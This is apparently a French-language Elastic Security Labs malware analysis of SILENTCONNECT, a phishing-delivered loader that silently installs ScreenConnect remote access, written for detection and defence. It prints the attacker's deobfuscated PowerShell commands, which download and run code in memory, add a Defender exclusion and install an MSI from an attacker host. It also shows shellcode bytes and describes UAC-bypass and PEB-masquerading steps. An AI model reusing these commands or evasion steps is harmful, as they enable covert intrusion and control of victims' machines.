Daniel StepanicSalim Bitam

De l'invitation à l'infection : Comment SILENTCONNECT délivre ScreenConnect

SILENTCONNECT est un chargeur en plusieurs étapes qui exploite VBScript, l'exécution PowerShell en mémoire et le masquage PEB pour déployer silencieusement l'outil ScreenConnect RMM.

From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect

Introduction

Elastic Security Labs observe des campagnes malveillantes délivrant une infection en plusieurs étapes impliquant un chargeur précédemment non documenté. L'infection commence lorsque les utilisateurs sont redirigés vers une page CAPTCHA de Cloudflare Turnstile sous la forme d'une invitation numérique. Après avoir cliqué sur le lien, un fichier VBScript est téléchargé sur la machine. Lors de l'exécution, le script récupère le code source C#, qui est ensuite compilé et exécuté en mémoire à l'aide de PowerShell. La dernière charge utile observée dans ces campagnes est ScreenConnect, un outil de surveillance et de gestion à distance (RMM) utilisé pour contrôler les machines des victimes.

Cette campagne met en évidence un thème commun : les attaquants utilisent abusivement des binaires "living-off-the-land" (LOLBins) pour faciliter l'exécution, ainsi que des fournisseurs d'hébergement de confiance tels que Google Drive et Cloudflare. Bien que le chargeur soit petit et simple, il semble être très efficace et est resté sous le radar depuis mars 2025.

Principaux points abordés dans cet article

  • SILENTCONNECT est un chargeur récemment découvert et activement utilisé dans la nature.
  • Ce chargeur installe silencieusement ConnectWise ScreenConnect, qui permet d'accéder au clavier des machines des victimes.
  • Les campagnes distribuant SILENTCONNECT utilisent l'infrastructure d'hébergement de Cloudflare et Google Drive.
  • SILENTCONNECT utilise les appels API NT, le masquage PEB et inclut l'exclusion de Windows Defender et le contournement du contrôle de compte d'utilisateur (UAC).

Chaîne d'infection SILENTCONNECT

Au cours de la première semaine de mars, notre équipe a observé une infection de type "living off-the-land" générant de multiples alertes comportementales sur une courte période.

Le téléchargement initial de VBScript a déclenché notre règle Suspicious Windows Script Downloaded from the Internet, qui nous a permis d'identifier la source de l'infection à l'aide des champs file.origin_url et file.origin_referrer_url.

En naviguant vers la page d'accueil originale, nous avons observé une page CAPTCHA Turnstile de Cloudflare. Après avoir coché la case de vérification humaine, un fichier VBScript (E-INVITE.vbs) est téléchargé sur la machine.

Ci-dessous se trouve le code source de la page d'atterrissage, nous pouvons voir que le fichier VBScript (E-INVITE.vbs) est hébergé sur le service de stockage d'objets de Cloudflare r2.dev.

Vous trouverez ci-dessous d'autres noms de fichiers VBScript observés le mois dernier dans le cadre de ces campagnes :

  • Alaska Airlines 2026 Fleet & Route Expansion Summary.vbs
  • CODE7_ZOOMCALANDER_INSTALLER_4740.vbs
  • 2025Trans.vbs
  • Proposal-03-2026.vbs
  • 2025Trans.vbs
  • updatv35.vbs

Les scripts VBS sont très peu obscurcis, utilisant une histoire pour enfants comme leurre, et utilisent les fonctions Replace() et Chr() pour cacher l'étape suivante.

Ce script désobfusque la sortie de la ligne de commande suivante :

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass 
  -command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()""

Cet extrait utilise PowerShell pour invoquer curl.exe afin de télécharger une charge utile C# à partir de Google Drive, qui est ensuite écrite sur le disque avec le nom de fichier (C:\Windows\Temp\FileR.txt).

Le code source C# récupéré utilise une technique d'obscurcissement connue sous le nom de déploiement constant pour dissimuler le tableau d'octets utilisé pour l'exécution réfléchie en mémoire.

Enfin, la commande PowerShell compile la source C# téléchargée (FileR.txt) au moment de l'exécution à l'aide de Add-Type, la charge en mémoire en tant qu'assemblage .NET et l'exécute via la méthode [HelloWorld]::SayHello().

SILENTCONNECT

La section suivante traite de la famille de chargeurs .NET que nous appelons SILENTCONNECT. L'échantillon est relativement petit et simple. Il est principalement conçu pour télécharger une charge utile distante (ScreenConnect) et l'installer silencieusement sur le système.

Après avoir dormi pendant 15 secondes, le logiciel malveillant alloue la mémoire exécutable à l'aide de la fonction native de l'API Windows via NtAllocateVirtualMemory, en attribuant des autorisations à la région PAGE_EXECUTE_READWRITE. SILENTCONNECT stocke un tableau d'octets intégré contenant le shellcode suivant :

53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret

Ce petit shellcode est déplacé dans la mémoire récemment allouée à l'aide de Marshal.Copy. Ensuite, le logiciel malveillant exécute le shellcode afin de récupérer l'adresse du bloc d'environnement de processus (PEB). Cette approche permet aux logiciels malveillants d'accéder directement aux structures des processus tout en évitant les API Windows de niveau supérieur qui sont généralement surveillées ou bloquées par les produits de sécurité.

SILENTCONNECT utilise les NTAPI de ntdll.dll (Native APIs) et ole32.dll (COM APIs) pendant l'étape de configuration du délégué, ce qui permet au logiciel malveillant d'invoquer des fonctions telles que NtWriteVirtualMemory ou CoGetObject directement à partir de.NET.

Mascarade du PEB

SILENTCONNECT met en œuvre une technique courante d'évasion des logiciels malveillants connue sous le nom de masquage PEB. Tous les processus Windows comprennent une structure maintenue par le noyau, connue sous le nom de bloc d'environnement de processus (PEB). Cette structure contient une liste chaînée des modules chargés. À l'intérieur de chaque liste chaînée se trouvent des entrées contenant l'adresse de base du module, le nom de la DLL et le chemin d'accès complet. SILENTCONNECT parcourt cette structure, trouve son propre module, puis écrase ses BaseDLLName et FullDllName en winhlp32.exe et c:\windows\winhlp32.exe.

De nombreux outils de sécurité, y compris les EDR, utilisent le PEB comme source fiable pour détecter les activités suspectes. Cette technique permet de tromper ces produits en utilisant un nom et un chemin d'accès anodins pour se dissimuler.

Avant de lancer la charge utile, le logiciel malveillant met en œuvre un contournement de l'UAC à l'aide de la fonction LaunchElevatedCOMObjectUnsafe avec la chaîne de moniker inversée : :wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:

Si le logiciel malveillant est dans un état non élevé, il tentera d'utiliser la technique de contournement de l'UAC via l'interface COM CMSTPLUA. Les paramètres de lancement sont stockés dans un tableau de caractères dans l'ordre inverse, ce qui constitue une technique d'obscurcissement simple.

La première partie de cette commande obscurcie ajoute une exclusion Microsoft Defender pour les fichiers .exe.

$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure) 
-ExclusionExtension $s -Force;

Vous trouverez ci-dessous le résultat de cette commande dans Defender avec l'exception ajoutée :

Après avoir ajouté l'exclusion, SILENTCONNECT crée un répertoire temporaire (C:\Temp) et utilise curl.exe pour y télécharger le programme d'installation malveillant du client ScreenConnect. Il invoque ensuite msiexec.exe pour installer silencieusement le RMM. Vous trouverez ci-dessous la seconde moitié de la ligne de commande :

New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'"

Après l'installation, le client ScreenConnect persiste en tant que service Windows et envoie des balises au serveur ScreenConnect contrôlé par l'adversaire à l'adresse bumptobabeco[.]top sur le port TCP 8041.

Campagne SILENTCONNECT

Le principal vecteur d'accès initial à ces campagnes est constitué par les courriels d'hameçonnage. Nous avons identifié un échantillon d'e-mail (YOU ARE INVITED.eml) téléchargé sur VirusTotal provenant d'une campagne de l'année dernière.

L'e-mail est envoyé depuis dan@checkfirst[.]net[.]au et se fait passer pour une invitation à soumettre une proposition de projet émanant d'une fausse entreprise. Le corps du message invite le destinataire à soumettre une proposition en cliquant sur un lien. Ce lien redirige la victime vers une infrastructure contrôlée par l'attaquant imansport[.]ir/download_invitee.php.

Notamment, l'acteur de la menace a réutilisé le même chemin URI (download_invitee.php) sur tous les sites web compromis pour transmettre la charge utile. Cette convention de dénomination cohérente constitue une mauvaise pratique de sécurité opérationnelle (OPSEC), car elle a fourni un point pivot fiable pour suivre l'infrastructure de la campagne et identifier d'autres hôtes compromis par le biais de recherches VirusTotal telles que entity:url url:download_invitee.php.

Nous avons également découvert plusieurs sites web légitimes qui ont été compromis et qui ont utilisé la même infrastructure pour faciliter d'autres manœuvres frauduleuses. Par exemple, une URL (solpru[.]com/process/docusign[.]html) héberge une page qui imite étroitement la plateforme de signature électronique DocuSign.


Faux portail DocuSign

Cette chaîne saute complètement SILENTCONNECT en téléchargeant un MSI ScreenConnect préconfiguré qui se connecte automatiquement au serveur de l'acteur (instance-lh1907-relay.screenconnect[.]com).

Une autre page sur un domaine différent se fait passer pour une page Microsoft Teams et demande à l'utilisateur de télécharger un fichier, ce qui entraîne une utilisation abusive de l'agent Syncro RMM.

Conclusion

Elastic Security Labs continue de constater une augmentation de l'adoption des RMM par les acteurs de la menace. Comme ces outils sont utilisés par des services informatiques légitimes, ils sont généralement négligés et considérés comme "fiables" dans la plupart des environnements d'entreprise. Les organisations doivent rester vigilantes et vérifier leurs environnements pour détecter toute utilisation non autorisée de RMM.

Bien que ce groupe soit allé plus loin en écrivant un chargeur personnalisé, la majorité de sa chaîne d'infection utilise des binaires Windows pour échapper à la détection et se fondre dans l'activité normale du système. L'utilisation abusive de plateformes de confiance telles que Google Drive et Cloudflare pour l'hébergement de charges utiles et la livraison de leurres complique encore la détection, car il est peu probable que les contrôles basés sur le réseau bloquent purement et simplement le trafic vers ces services. Les acteurs de la menace continuant à privilégier la simplicité et la furtivité par rapport à la sophistication, les campagnes de cette nature sont susceptibles de persister et d'évoluer.

SILENTCONNECT et MITRE ATT&CK

Elastic utilise le cadre MITRE ATT& CK pour documenter les tactiques, techniques et procédures communes que les menaces persistantes avancées utilisent contre les réseaux d'entreprise.

Tactiques

Les tactiques représentent le pourquoi d'une technique ou d'une sous-technique. Il s'agit de l'objectif tactique de l'adversaire : la raison pour laquelle il effectue une action.

Techniques

Les techniques représentent la manière dont un adversaire atteint un objectif tactique en effectuant une action.

Détection de SILENTCONNECT

YARA

Elastic Security a créé les règles YARA suivantes pour identifier cette activité :

rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-04"
        last_modified = "2026-03-04"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.SilentConnect"
        reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
        license = "Elastic License v2"
    strings:
        $peb_evade = "winhlp32.exe" wide fullword
        $rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
        $masquerade_peb_str = "MasqueradePEB" ascii fullword
        $guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
        $unique_str = "PebFucker" ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = "tcennoCneercS" ascii wide
    condition:
        5 of them
}

Observations

Les observables suivants ont été examinés dans le cadre de cette recherche.

ObservableTypeNomRéférence
281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3SHA-256E-INVITE.vbsVBScript
adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37SHA-2562025Trans.vbsVBScript
81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03SHA-256FichierR.txtC#
c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7SHA-256ScreenConnect.ClientSetup.msiInstallateur SCREENCONNECT
8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557dbSHA-256SILENTCONNECT
86.38.225[.]59ipv4-addrServeur ScreenConnect C2
bumptobabeco[.]topDomainServeur ScreenConnect C2
instance-lh1907-relay.screenconnect[.]comDomainServeur ScreenConnect C2
349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcecSHA-256ViewDocs.exeInstallateur Syncro

Partager cet article